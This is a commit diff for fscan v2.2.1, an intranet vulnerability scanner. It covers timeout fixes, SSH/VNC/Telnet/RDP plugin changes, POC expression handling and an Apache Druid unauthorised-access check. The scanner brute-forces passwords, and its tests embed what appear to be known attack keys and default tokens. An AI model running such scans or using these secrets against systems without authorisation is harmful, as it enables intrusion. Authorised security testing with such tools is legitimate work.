fix: handle encoded POC set values

* fix: 修复高并发下自适应超时过低导致开放端口漏扫 (#503)

扫描本机/低 RTT 目标时，AdaptiveTimeout 在 10 次采样后迅速收敛到 100ms 下限。高并发（600+ 线程）下 TCP 握手尾延迟可能超过 100ms，加上超时错误不会重试，导致开放端口被误判为关闭。

- AdaptiveTimeout 下限从 100ms 提升至 max(500ms, maxTimeout/5)
- connectWithRetry 对超时错误用完整超时重试一次
- slidingWindowSchedule 任务丢弃时记录日志，便于排查漏扫

* refactor: 按 review 意见移除无条件超时重试，补充 minTO 下限测试

根据 #598 review 反馈：

1. 移除 connectWithRetry 中 timeout->full maxTO 无条件重试
   - filtered/无响应端口占超时大头，盲目重试只烧时间
   - #503 主场景靠 minTO 抬升已足够覆盖
2. 移除不再使用的 MaxTimeout() 方法和 port_scan_timeout_retry i18n 条目
3. AdaptiveTimeout 收敛测试补充 minTO 下限断言（3s->600ms）

.github/release-notes/v2.2.1.md

@@ -0,0 +1,64 @@
+# fscan v2.2.1
+
+v2.2.1 是 v2.2 系列的稳定性修复版本，重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常，并扩充常见内网产品的 POC 覆盖。
+
+---
+
+## 重点变化
+
+### 扫描稳定性
+
+- 默认不再启用全局扫描超时，避免大网段或弱网络环境下扫描被整体提前终止
+- `-gt` 仍可用于显式设置全局超时；嵌入式 SDK 同样支持按需配置
+- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题
+- 扫描异常退出时正常执行结果清理和落盘，避免主结果为空及 `.realtime.tmp` 残留
+
+### 服务识别与协议插件
+
+- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题
+- Telnet 未授权结果增加真实命令执行验证，降低提示符误报
+- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行
+- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic
+- 通用 SSL/TLS 指纹不再直接判定为 Web 服务，减少 MQTT TLS 等非 HTTP 服务的握手报错
+
+### POC 覆盖
+
+新增 100 个经过整理的内网常见产品 POC，覆盖：
+
+- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空
+- H3C、海康威视、锐捷、深信服、契约锁、帆软
+- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等
+
+同时补充第三方来源说明，并为新增 POC 增加加载测试。
+
+---
+
+## 已解决 Issue
+
+- #596 Telnet 未授权误报
+- #598 高并发下开放端口漏扫
+- #599 `-nobr` 未阻止 VNC 密码尝试
+- #600 TLS 服务扫描报错、结果文件为空及临时文件残留
+- #601 SSH 服务端口无法识别
+- #603 RDP Fast-Path nil pointer panic
+
+---
+
+## 升级说明
+
+- 从 v2.2.0 可直接升级
+- 如需限制整个扫描任务的最长运行时间，请显式传入 `-gt <秒数>`
+- POC 仅用于已获授权的安全测试环境
+
+## 校验
+
+本版本已通过：
+
+- `go test ./...`
+- GitHub Actions 测试构建
+- GoReleaser 全平台 snapshot 构建
+- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试
+
+完整变更记录：
+
+https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1

README.md

@@ -4,7 +4,7 @@
 
 内网综合扫描工具，一键自动化漏扫。
 
-**版本**: 2.2.0
+**版本**: 2.2.1
 
 ## 功能特性
 

README_EN.md

@@ -4,7 +4,7 @@
 
 Comprehensive intranet scanning tool for automated vulnerability assessment.
 
-**Version**: 2.2.0
+**Version**: 2.2.1
 
 ## Features
 

SKILL.md

@@ -52,7 +52,7 @@ fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
 | `-t` | 端口扫描线程数 | `600` |
 | `-mt` | 模块线程数 | `20` |
 | `-time` | 连接超时（秒） | `3` |
-| `-gt` | 全局超时（秒） | `180` |
+| `-gt` | 全局超时（秒，0 表示不限制） | `0` |
 | `-np` | 跳过存活检测 | `false` |
 | `-ntp` | 禁用 TCP 补充探测 | `false` |
 | `-ao` | 仅存活检测 | `false` |

common/flag.go

@@ -110,7 +110,7 @@ func Flag(Info *HostInfo) error {
 	flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
 	flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
 	flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
-	flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
+	flag.Int64Var(&fv.GlobalTimeout, "gt", 0, i18n.GetText("flag_global_timeout"))
 	flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
 	flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
 	flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe"))

common/flag_test.go

@@ -34,7 +34,7 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) {
 				ThreadNum:       600,
 				ModuleThreadNum: 20,
 				TimeoutSec:      3,
-				GlobalTimeout:   180,
+				GlobalTimeout:   0,
 			},
 			validate: func(t *testing.T, cfg *Config) {
 				if cfg.Mode != "all" {
@@ -49,6 +49,9 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) {
 				if cfg.Timeout != 3*time.Second {
 					t.Errorf("Timeout = %v, want %v", cfg.Timeout, 3*time.Second)
 				}
+				if cfg.GlobalTimeout != 0 {
+					t.Errorf("GlobalTimeout = %v, want disabled", cfg.GlobalTimeout)
+				}
 			},
 		},
 		{

common/globals.go

@@ -69,7 +69,7 @@ const (
 
 // 版本信息，通过 ldflags 注入
 var (
-	version = "2.2.0"
+	version = "2.2.1"
 	commit  = "unknown"
 	date    = "unknown"
 )

common/i18n/locales/en.yaml

@@ -25,9 +25,7 @@ flag_timeout:
 flag_module_thread_num:
   other: "Module thread count"
 flag_global_timeout:
-  other: "Global timeout"
+  other: "Global timeout in seconds (0 means unlimited)"
-global_timeout_adjusted:
-  other: "Large scan detected, global timeout adjusted from {{.V0}}s to {{.V1}}s (use -gt to override)"
 global_timeout_exceeded:
   other: "Global timeout reached (-gt {{.V0}}s), scan aborted. Use -gt to increase or set to 0 to disable"
 flag_disable_ping:
@@ -429,6 +427,10 @@ port_open_http:
   other: "Port open {{.Arg1}} [http](HTTP probe)"
 port_scan_no_alive_subnet:
   other: "Subnet probe found no alive subnets, skipping port scan"
+port_scan_task_dropped:
+  other: "[PortScan] task dropped: {{.Arg1}} ({{.Arg2}}), port may be missed"
+port_scan_tasks_dropped_total:
+  other: "[PortScan] {{.Arg1}} tasks dropped total, these ports may be missed"
 network_rate_limited_pattern:
   other: "Rate limited"
 port_scan_debug_start:

common/i18n/locales/zh.yaml

@@ -25,9 +25,7 @@ flag_timeout:
 flag_module_thread_num:
   other: "模块线程数"
 flag_global_timeout:
-  other: "全局超时时间"
+  other: "全局超时时间（秒，0 表示不限制）"
-global_timeout_adjusted:
-  other: "扫描规模较大，全局超时从 {{.V0}}s 自动调整为 {{.V1}}s（可用 -gt 手动指定）"
 global_timeout_exceeded:
   other: "全局超时已到（-gt {{.V0}}s），扫描被终止。大规模扫描请用 -gt 调大超时或设为 0 禁用"
 flag_disable_ping:
@@ -429,6 +427,10 @@ port_open_http:
   other: "端口开放 {{.Arg1}} [http](HTTP探测)"
 port_scan_no_alive_subnet:
   other: "网段预筛未发现存活子网，跳过端口扫描"
+port_scan_task_dropped:
+  other: "[PortScan] 任务被丢弃: {{.Arg1}} ({{.Arg2}})，该端口可能被漏扫"
+port_scan_tasks_dropped_total:
+  other: "[PortScan] 共有 {{.Arg1}} 个任务被丢弃，这些端口可能被漏扫"
 network_rate_limited_pattern:
   other: "发包受限"
 port_scan_debug_start:

core/adaptive_timeout.go

@@ -25,10 +25,17 @@ type AdaptiveTimeout struct {
 // NewAdaptiveTimeout 创建自适应超时计算器
 // maxTimeout: 用户配置的超时上限（即原始固定超时）
 func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout {
+	// minTO: 自适应超时下限，取 max(500ms, maxTimeout/5)
+	// 依据：高并发下 TCP 握手存在尾延迟（OS 调度抖动、backlog 溢出、端口竞争），
+	//       过低的下限会导致开放端口被误判为关闭（issue #503）
+	minTO := maxTimeout / 5
+	if minTO < 500*time.Millisecond {
+		minTO = 500 * time.Millisecond
+	}
 	return &AdaptiveTimeout{
 		samples: make([]float64, 64),
 		size:    64,
-		minTO:   100 * time.Millisecond,
+		minTO:   minTO,
 		maxTO:   maxTimeout,
 		warmup:  10,
 	}

core/port_scan.go

@@ -290,6 +290,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout
 // slidingWindowSchedule 滑动窗口调度器
 // ants.PoolWithFunc.Invoke 在池满时阻塞，天然提供反压，无需额外 semaphore
 func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) {
+	var dropped int64
 	for {
 		host, port, ok := iter.Next()
 		if !ok {
@@ -304,11 +305,17 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa
 		}
 		if err := pool.Invoke(task); err != nil {
 			wg.Done()
+			dropped++
+			common.LogError(i18n.Tr("port_scan_task_dropped", task.addr, err))
 		}
 	}
 
 	// 等待所有任务完成
 	wg.Wait()
+
+	if dropped > 0 {
+		common.LogError(i18n.Tr("port_scan_tasks_dropped_total", dropped))
+	}
 }
 
 // fmtPort 无分配的端口号格式化
@@ -327,7 +334,10 @@ func fmtPort(port int) string {
 	return string(buf[i:])
 }
 
-// connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试
+// connectWithRetry 带重试的TCP连接
+//   - 资源耗尽错误：指数退避重试（maxRetries 次）
+//   - 其他错误（如 connection refused、timeout）：直接返回
+//     timeout 是正常的扫描结果（防火墙 drop / filtered），不盲目重试
 func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) {
 	var lastErr error
 
@@ -340,9 +350,9 @@ func connectWithRetry(ctx context.Context, session *common.ScanSession, addr str
 
 		lastErr = err
 
-		// 只对资源耗尽类错误重试，端口关闭直接返回
+		// 只对资源耗尽类错误重试，端口关闭或超时直接返回
 		if !isResourceExhaustedError(err) {
-			return nil, err
+			return nil, lastErr
 		}
 
 		// 记录资源耗尽错误

core/real_network_test.go

@@ -440,11 +440,15 @@ func TestReal_AdaptiveTimeout_Convergence(t *testing.T) {
 	if converged >= 3*time.Second {
 		t.Errorf("采样后 Timeout = %v, 应该 < 3s", converged)
 	}
-	if converged < 100*time.Millisecond {
+
-		t.Logf("Timeout 收敛到 %v（localhost，正常）", converged)
+	// minTO 下限断言：max(500ms, 3s/5) = 600ms
+	// localhost RTT 极低，收敛值应贴在地板上（issue #503）
+	minFloor := 600 * time.Millisecond
+	if converged < minFloor {
+		t.Errorf("收敛后 Timeout = %v, 不应低于 minTO 下限 %v", converged, minFloor)
 	}
 
-	t.Logf("AdaptiveTimeout 收敛: 3s -> %v (%d 个样本)", converged, 20)
+	t.Logf("AdaptiveTimeout 收敛: 3s -> %v (%d 个样本), minTO=%v", converged, 20, minFloor)
 }
 
 // =============================================================================

core/scanner.go

@@ -13,7 +13,6 @@ import (
 	"github.com/shadow1ng/fscan/common"
 	"github.com/shadow1ng/fscan/common/i18n"
 	"github.com/shadow1ng/fscan/common/output"
-	"github.com/shadow1ng/fscan/common/parsers"
 	"github.com/shadow1ng/fscan/plugins"
 	"github.com/shadow1ng/fscan/webscan/lib"
 )
@@ -97,15 +96,6 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess
 	start := time.Now()
 	config := session.Config
 
-	// 全局超时自适应：用户未显式指定 -gt 时，根据扫描规模自动调大
-	if !config.GlobalTimeoutExplicit && config.GlobalTimeout > 0 {
-		if adjusted := estimateGlobalTimeout(config, session); adjusted > config.GlobalTimeout {
-			session.LogInfo(i18n.Tr("global_timeout_adjusted",
-				int(config.GlobalTimeout.Seconds()), int(adjusted.Seconds())))
-			config.GlobalTimeout = adjusted
-		}
-	}
-
 	// 全局超时：-gt 参数设置整个扫描的硬性截止时间
 	var cancel context.CancelFunc
 	if config.GlobalTimeout > 0 {
@@ -499,52 +489,3 @@ func addCommonDetails(result *plugins.Result, details map[string]interface{}) {
 		details["server"] = result.Server
 	}
 }
-
-func estimateGlobalTimeout(config *common.Config, session *common.ScanSession) time.Duration {
-	portCount := int64(len(parsers.ParsePort(config.Target.Ports)))
-	if portCount == 0 {
-		portCount = 10
-	}
-
-	var hostFile string
-	var hostStr string
-	if session.Params != nil {
-		hostFile = session.Params.HostsFile
-		hostStr = session.Params.Host
-	}
-	hostCount := parsers.EstimateHostCount(hostStr, hostFile)
-	if hostCount <= 0 {
-		hostCount = 1
-	}
-
-	totalTasks := hostCount * portCount
-	threads := int64(config.ThreadNum)
-	if threads <= 0 {
-		threads = 600
-	}
-
-	// 端口扫描：平均每个任务约 50ms（大部分连接快速失败）
-	portScanSec := float64(totalTasks) * 0.05 / float64(threads)
-
-	// 插件扫描：开放率随端口数下降（全端口约 0.1%，少量端口约 5%）
-	openRate := 0.05
-	if portCount > 1000 {
-		openRate = 0.002
-	} else if portCount > 100 {
-		openRate = 0.01
-	}
-	moduleThreads := float64(config.ModuleThreadNum)
-	if moduleThreads <= 0 {
-		moduleThreads = 20
-	}
-	pluginSec := float64(totalTasks) * openRate * 2.0 / moduleThreads
-	// 总估算 + 20% 余量
-	estimatedSec := (portScanSec + pluginSec) * 1.2
-
-	const maxTimeout = 2 * time.Hour
-	estimated := time.Duration(estimatedSec) * time.Second
-	if estimated > maxTimeout {
-		estimated = maxTimeout
-	}
-	return estimated
-}

core/service_cache_test.go

@@ -88,8 +88,8 @@ func TestCacheServiceInfo_BasicCRUD(t *testing.T) {
 func TestWebServiceFiltering(t *testing.T) {
 	clearServiceCache()
 
-	webNames := []string{"http", "https", "ssl", "tls", "nginx", "apache", "iis", "tomcat"}
+	webNames := []string{"http", "https", "nginx", "apache", "iis", "tomcat"}
-	nonWebNames := []string{"ssh", "mysql", "postgresql", "redis", "mongodb", "ftp", "smtp", "telnet", "vnc", "rdp"}
+	nonWebNames := []string{"ssl", "tls", "ssh", "mysql", "postgresql", "redis", "mongodb", "ftp", "smtp", "telnet", "vnc", "rdp"}
 
 	for _, name := range webNames {
 		clearServiceCache()

core/web_scanner.go

@@ -222,7 +222,7 @@ var (
 		"telnet", "ftp", "smtp", "pop3", "imap", "ldap", "snmp", "vnc", "rdp", "smb",
 	}
 	webKeywords = []string{
-		"http", "https", "ssl", "tls", "nginx", "apache", "iis", "tomcat",
+		"http", "https", "nginx", "apache", "iis", "tomcat",
 		"jetty", "nodejs", "php", "asp", "jsp",
 	}
 	bannerKeywords = []string{"server:", "http/", "content-type:"}
@@ -514,4 +514,3 @@ func hasMalformedURLPort(host string) bool {
 	}
 	return strings.Contains(host, ":")
 }
-

core/web_scanner_test.go

@@ -230,11 +230,11 @@ func TestIsWebServiceByFingerprint(t *testing.T) {
 			expected: true,
 		},
 		{
-			name: "SSL/TLS服务",
+			name: "通用TLS服务不是Web",
 			serviceInfo: &ServiceInfo{
 				Name: "ssl",
 			},
-			expected: true,
+			expected: false,
 		},
 		{
 			name: "包含非Web关键字-postgresql",

libs/grdp/protocol/tpkt/tpkt.go

@@ -477,6 +477,13 @@ func (t *TPKT) recvFastPath(s []byte, err error) {
 		return
 	}
 
+	// NLA-only authentication can receive a Fast-Path packet before the PDU
+	// layer installs a listener. Treat it as an ignorable early packet instead
+	// of dereferencing a nil interface and crashing the whole scan.
+	if t.fastPathListener == nil {
+		return
+	}
+
 	t.fastPathListener.RecvFastPath(t.secFlag, s)
 	core.StartReadBytes(2, t.Conn, t.recvHeader)
 }

libs/grdp/protocol/tpkt/tpkt_test.go

@@ -0,0 +1,13 @@
+package tpkt
+
+import (
+	"testing"
+
+	"github.com/shadow1ng/fscan/libs/grdp/glog"
+)
+
+func TestRecvFastPathWithoutListenerDoesNotPanic(t *testing.T) {
+	glog.SetLevel(glog.NONE)
+	tpkt := &TPKT{}
+	tpkt.recvFastPath([]byte{0x00}, nil)
+}

main_cli.go

@@ -20,6 +20,10 @@ import (
 )
 
 func main() {
+	os.Exit(run())
+}
+
+func run() int {
 	// 启动 pprof（仅调试版本）
 	debug.Start()
 	defer debug.Stop()
@@ -28,23 +32,23 @@ func main() {
 	var info common.HostInfo
 	if err := common.Flag(&info); err != nil {
 		if err == common.ErrShowHelp {
-			os.Exit(0) // 显示帮助是正常退出
+			return 0 // 显示帮助是正常退出
 		}
 		common.LogError(i18n.Tr("param_error", err))
-		os.Exit(1)
+		return 1
 	}
 
 	// 检查参数互斥性
 	if err := common.ValidateExclusiveParams(&info); err != nil {
 		common.LogError(i18n.Tr("error_generic", err))
-		os.Exit(1)
+		return 1
 	}
 
 	// 统一初始化：解析 → 配置 → 输出
 	result, err := common.Initialize(&info)
 	if err != nil {
 		common.LogError(i18n.Tr("init_failed", err))
-		os.Exit(1)
+		return 1
 	}
 
 	// 设置信号处理，确保 Ctrl+C 时能正确保存结果
@@ -62,6 +66,8 @@ func main() {
 	// 执行扫描
 	if _, err := core.RunScan(context.Background(), *result.Info, result.Session); err != nil {
 		common.LogError(i18n.Tr("error_generic", err))
-		os.Exit(1)
+		return 1
 	}
+
+	return 0
 }

pkg/fscan/scanner.go

@@ -408,7 +408,7 @@ func buildFlagVars(config Config, target Target) *common.FlagVars {
 		ThreadNum:           threadNum,
 		ModuleThreadNum:     moduleThreads,
 		TimeoutSec:          timeout,
-		GlobalTimeout:       180,
+		GlobalTimeout:       0,
 		DisablePing:         config.DisablePing,
 		DisableTcpProbe:     config.DisableTCPProbe,
 		DisableSubnetProbe:  config.DisableSubnetProbe,

pkg/fscan/scanner_test.go

@@ -667,6 +667,9 @@ func TestBuildFlagVarsCustomValues(t *testing.T) {
 	if fv.TimeoutSec != 10 {
 		t.Fatalf("TimeoutSec = %d, want 10", fv.TimeoutSec)
 	}
+	if fv.GlobalTimeout != 0 {
+		t.Fatalf("GlobalTimeout = %d, want disabled", fv.GlobalTimeout)
+	}
 	if fv.WebTimeout != 15 {
 		t.Fatalf("WebTimeout = %d, want 15", fv.WebTimeout)
 	}

plugins/services/ssh.go

@@ -3,6 +3,7 @@
 package services
 
 import (
+	"bufio"
 	"context"
 	"fmt"
 	"io"
@@ -308,19 +309,27 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo,
 func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string {
 	_ = conn.SetReadDeadline(time.Now().Add(config.ModuleTimeout()))
 
-	banner := make([]byte, 256)
+	// RFC 4253 permits servers to send informational lines before the SSH
-	n, err := conn.Read(banner)
+	// identification string. Read bounded lines until the protocol banner is
-	if err != nil || n < 4 {
+	// found instead of requiring SSH- at the first byte of the first read.
+	reader := bufio.NewReaderSize(conn, 256)
+	for range 50 {
+		line, err := reader.ReadString('\n')
+		if len(line) > 255 {
 			return ""
 		}
 
-	bannerStr := strings.TrimSpace(string(banner[:n]))
+		banner := strings.TrimSpace(line)
-
+		if strings.HasPrefix(banner, "SSH-") {
-	if strings.HasPrefix(bannerStr, "SSH-") {
+			if matched := sshBannerRegex.FindStringSubmatch(banner); len(matched) >= 3 {
-		if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 {
 				return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2])
 			}
-		return i18n.Tr("ssh_service_banner", bannerStr)
+			return i18n.Tr("ssh_service_banner", banner)
+		}
+
+		if err != nil {
+			return ""
+		}
 	}
 
 	return ""

plugins/services/ssh_test.go

@@ -4,9 +4,47 @@ package services
 
 import (
 	"errors"
+	"net"
 	"testing"
+	"time"
+
+	"github.com/shadow1ng/fscan/common"
 )
 
+func TestReadSSHBannerAllowsPreBannerLines(t *testing.T) {
+	client, server := net.Pipe()
+	defer client.Close()
+	defer server.Close()
+
+	go func() {
+		_, _ = server.Write([]byte("Authorized access only\r\nSSH-2.0-OpenSSH_9.6\r\n"))
+	}()
+
+	cfg := common.NewConfig()
+	cfg.Timeout = time.Second
+	got := NewSSHPlugin().readSSHBanner(client, cfg)
+	if got != "SSH 2.0 (OpenSSH_9.6)" {
+		t.Fatalf("readSSHBanner() = %q", got)
+	}
+}
+
+func TestReadSSHBannerRejectsNonSSHService(t *testing.T) {
+	client, server := net.Pipe()
+	defer client.Close()
+	defer server.Close()
+
+	go func() {
+		_, _ = server.Write([]byte("HTTP/1.1 200 OK\r\n"))
+		_ = server.Close()
+	}()
+
+	cfg := common.NewConfig()
+	cfg.Timeout = time.Second
+	if got := NewSSHPlugin().readSSHBanner(client, cfg); got != "" {
+		t.Fatalf("readSSHBanner() = %q, want empty", got)
+	}
+}
+
 func TestClassifySSHErrorType(t *testing.T) {
 	tests := []struct {
 		name string

plugins/services/telnet.go

@@ -61,13 +61,12 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
 
 	// 检测未授权访问
 	if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
-		session.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
-		// 验证命令执行能力
 		if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok {
+			session.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
 			session.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
-		}
 			return result
 		}
+	}
 
 	// 生成密码字典
 	credentials := plugins.GenerateCredentials("telnet", config)

plugins/services/vnc.go

@@ -34,6 +34,15 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
 		return result
 	}
 
+	// -nobr 仅保留未授权访问检测，不继续尝试密码。
+	if config.DisableBrute {
+		return &ScanResult{
+			Type:    plugins.ResultTypeService,
+			Success: true,
+			Service: "vnc",
+		}
+	}
+
 	// 生成密码列表
 	var credentials []Credential
 	if config.Credentials.Passwords != nil {

plugins/services/vnc_test.go

@@ -3,10 +3,59 @@
 package services
 
 import (
+	"context"
 	"errors"
+	"net"
+	"strconv"
+	"sync/atomic"
 	"testing"
+	"time"
+
+	"github.com/shadow1ng/fscan/common"
 )
 
+func TestVNCDisableBruteOnlyChecksUnauthenticatedAccess(t *testing.T) {
+	listener, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer listener.Close()
+
+	var connections atomic.Int32
+	go func() {
+		for {
+			conn, err := listener.Accept()
+			if err != nil {
+				return
+			}
+			connections.Add(1)
+			_ = conn.Close()
+		}
+	}()
+
+	host, portText, err := net.SplitHostPort(listener.Addr().String())
+	if err != nil {
+		t.Fatal(err)
+	}
+	port, err := strconv.Atoi(portText)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	cfg := common.NewConfig()
+	cfg.DisableBrute = true
+	session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
+	result := NewVNCPlugin().Scan(context.Background(), &common.HostInfo{Host: host, Port: port}, session)
+	if result == nil || !result.Success || result.Service != "vnc" {
+		t.Fatalf("Scan() = %#v, want identified VNC service", result)
+	}
+
+	time.Sleep(20 * time.Millisecond)
+	if got := connections.Load(); got != 1 {
+		t.Fatalf("connections = %d, want one unauthenticated-access check and no password attempts", got)
+	}
+}
+
 func TestClassifyVNCErrorType(t *testing.T) {
 	tests := []struct {
 		name string

webscan/lib/eval_misc.go

@@ -21,6 +21,10 @@ func registerMiscDeclarations() []*exprpb.Decl {
 			decls.NewOverload("tongda_date",
 				[]*exprpb.Type{},
 				decls.String)),
+		decls.NewFunction("timestamp_second",
+			decls.NewOverload("timestamp_second_zero",
+				[]*exprpb.Type{},
+				decls.Int)),
 	}
 }
 
@@ -47,5 +51,11 @@ func registerMiscImplementations() []*functions.Overload {
 				return types.String(time.Now().Format("0601"))
 			},
 		},
+		{
+			Operator: "timestamp_second_zero",
+			Function: func(value ...ref.Val) ref.Val {
+				return types.Int(time.Now().Unix())
+			},
+		},
 	}
 }

webscan/lib/eval_test.go

@@ -10,6 +10,7 @@ import (
 	"net/url"
 	"strings"
 	"testing"
+	"time"
 
 	"github.com/google/cel-go/common/types"
 )
@@ -1393,3 +1394,19 @@ func TestMakeVarDecl(t *testing.T) {
 		})
 	}
 }
+
+func TestTimestampSecond(t *testing.T) {
+	before := time.Now().Unix()
+	result, err := Evaluate(GetBaseEnv(), "timestamp_second()", map[string]interface{}{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	got, ok := result.Value().(int64)
+	if !ok {
+		t.Fatalf("timestamp_second() type = %T, want int64", result.Value())
+	}
+	after := time.Now().Unix()
+	if got < before || got > after {
+		t.Fatalf("timestamp_second() = %d, want [%d, %d]", got, before, after)
+	}
+}

webscan/lib/poc_executor.go

@@ -869,6 +869,10 @@ func cloneMap(tags map[string]string) map[string]string {
 
 // evalset 执行CEL表达式并处理特殊类型结果
 func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) {
+	if isPlainLiteral(expression, variableMap) {
+		variableMap[k] = expression
+		return expression, nil
+	}
 	out, err := Evaluate(env, expression, variableMap)
 	if err != nil {
 		variableMap[k] = ""
@@ -915,6 +919,11 @@ func isPlainLiteral(expr string, variableMap map[string]interface{}) bool {
 	if _, exists := variableMap[expr]; exists {
 		return false
 	}
+	// Base64/JWT 常量常包含 +、/、= 或 .，这些字符在 CEL 中也是语法符号。
+	// 先识别编码值，避免把密钥和令牌误当成表达式编译。
+	if isEncodedLiteral(expr) {
+		return true
+	}
 	// 含 CEL 语法特征的需要走 CEL 编译
 	for _, c := range expr {
 		switch c {
@@ -925,6 +934,35 @@ func isPlainLiteral(expr string, variableMap map[string]interface{}) bool {
 	return true
 }
 
+func isEncodedLiteral(value string) bool {
+	if strings.Count(value, ".") == 2 {
+		parts := strings.Split(value, ".")
+		for _, part := range parts {
+			if part == "" || strings.IndexFunc(part, func(r rune) bool {
+				return !isASCIIAlphaNumeric(r) && r != '-' && r != '_'
+			}) >= 0 {
+				return false
+			}
+		}
+		return true
+	}
+
+	if len(value) < 4 || len(value)%4 != 0 {
+		return false
+	}
+	padding := strings.TrimRight(value, "=")
+	if len(value)-len(padding) > 2 {
+		return false
+	}
+	return strings.IndexFunc(padding, func(r rune) bool {
+		return !isASCIIAlphaNumeric(r) && r != '+' && r != '/'
+	}) < 0
+}
+
+func isASCIIAlphaNumeric(r rune) bool {
+	return r >= 'a' && r <= 'z' || r >= 'A' && r <= 'Z' || r >= '0' && r <= '9'
+}
+
 // CheckInfoPoc 检查POC信息并返回别名
 func CheckInfoPoc(infostr string) string {
 	for _, poc := range fingerprint.PocDatas {

webscan/lib/poc_executor_test.go

@@ -865,3 +865,33 @@ func TestCollectVarDeclarations(t *testing.T) {
 		}
 	})
 }
+
+func TestEvalSetTreatsEncodedValuesAsLiterals(t *testing.T) {
+	env := GetBaseEnv()
+	tests := []string{
+		"fsHspZw/92PrS3XrPW+vxw==",
+		"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyJ9.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ",
+	}
+
+	for _, value := range tests {
+		variables := map[string]interface{}{}
+		got, err := evalset(env, variables, "token", value)
+		if err != nil {
+			t.Fatalf("evalset(%q) error = %v", value, err)
+		}
+		if got != value || variables["token"] != value {
+			t.Fatalf("evalset(%q) = %q, stored %v", value, got, variables["token"])
+		}
+	}
+}
+
+func TestEvalSetStillEvaluatesExpressions(t *testing.T) {
+	variables := map[string]interface{}{}
+	got, err := evalset(GetBaseEnv(), variables, "token", "randomLowercase(6)")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(got) != 6 {
+		t.Fatalf("randomLowercase result length = %d, want 6", len(got))
+	}
+}

webscan/pocs/THIRD_PARTY_NOTICES.md

@@ -0,0 +1,32 @@
+# Third-party POC notices
+
+The 100 `.yaml` POC files added for the fscan 2.2.1 trial sets were selected
+from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`:
+
+https://github.com/zan8in/afrog
+
+The first set focused on non-destructive checks. The second set also includes
+RCE, file-write, and file-upload verification rules. The original project is
+licensed under the MIT License:
+
+MIT License
+
+Copyright (c) 2022 zan8in
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

webscan/pocs/apache-druid-unauth.yaml

@@ -0,0 +1,19 @@
+id: apache-druid-unauth
+
+info:
+  name: Apache Druid Unauth
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    app="Apache Druid"
+  tags: druid,unauth
+  created: 2024/01/07
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /unified-console.html
+    expression: response.status == 200 && response.body.ibcontains(b'<title>Apache Druid</title>')
+expression: r0()

